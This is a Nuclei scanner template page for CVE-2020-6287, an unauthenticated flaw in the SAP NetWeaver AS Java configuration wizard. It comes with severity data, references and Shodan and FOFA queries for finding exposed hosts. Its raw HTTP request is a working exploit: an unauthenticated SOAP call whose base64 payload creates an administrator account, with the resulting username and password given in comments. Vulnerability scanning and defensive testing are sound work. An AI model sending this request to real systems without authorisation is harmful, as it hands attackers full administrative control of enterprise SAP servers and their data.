Skip to content
Nuclei Templates

SAP NetWeaver AS JAVA 7.30-7.50 - Remote Admin Addition

ID: CVE-2020-6287

Severity: critical

Author: dwisiswant0

Tags: cve,cve2020,sap,kev

Description

Section titled “Description”

SAP NetWeaver AS JAVA (LM Configuration Wizard), versions 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system.

YAML Source

Section titled “YAML Source”
id: CVE-2020-6287


info:
  name: SAP NetWeaver AS JAVA 7.30-7.50 - Remote Admin Addition
  author: dwisiswant0
  severity: critical
  description: SAP NetWeaver AS JAVA (LM Configuration Wizard), versions 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to gain unauthorized administrative access to the SAP system.
  remediation: |
    Apply the relevant SAP Security Note or patch provided by the vendor to mitigate this vulnerability.
  reference:
    - https://launchpad.support.sap.com/#/notes/2934135
    - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
    - https://www.onapsis.com/recon-sap-cyber-security-vulnerability
    - https://github.com/chipik/SAP_RECON
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6287
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2020-6287
    cwe-id: CWE-306
    epss-score: 0.97502
    epss-percentile: 0.99982
    cpe: cpe:2.3:a:sap:netweaver_application_server_java:7.30:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: netweaver_application_server_java
    shodan-query: http.favicon.hash:-266008933
    fofa-query: icon_hash=-266008933
  tags: cve,cve2020,sap,kev


http:
  - raw:
      - |
        POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=UTF-8
        Connection: close


        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>
          CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA==
        </baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "CTCWebServiceSi"
          - "SOAP-ENV"
        condition: and


      - type: word
        part: header
        words:
          - "text/xml"
          - "SAP NetWeaver Application Server"


      - type: status
        status:
          - 200


# userName - sapRpoc6351
# password - Secure!PwD8890
# digest: 4b0a004830460221009f6150b83efc55a640a2035768cbaa6e225a7aa0c4667d540c0e02509d07693a022100be34b560893d5f8ec54057745a48d5bc03260466760fd17301f49bf70422cc33:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-6287.yaml"

View on Github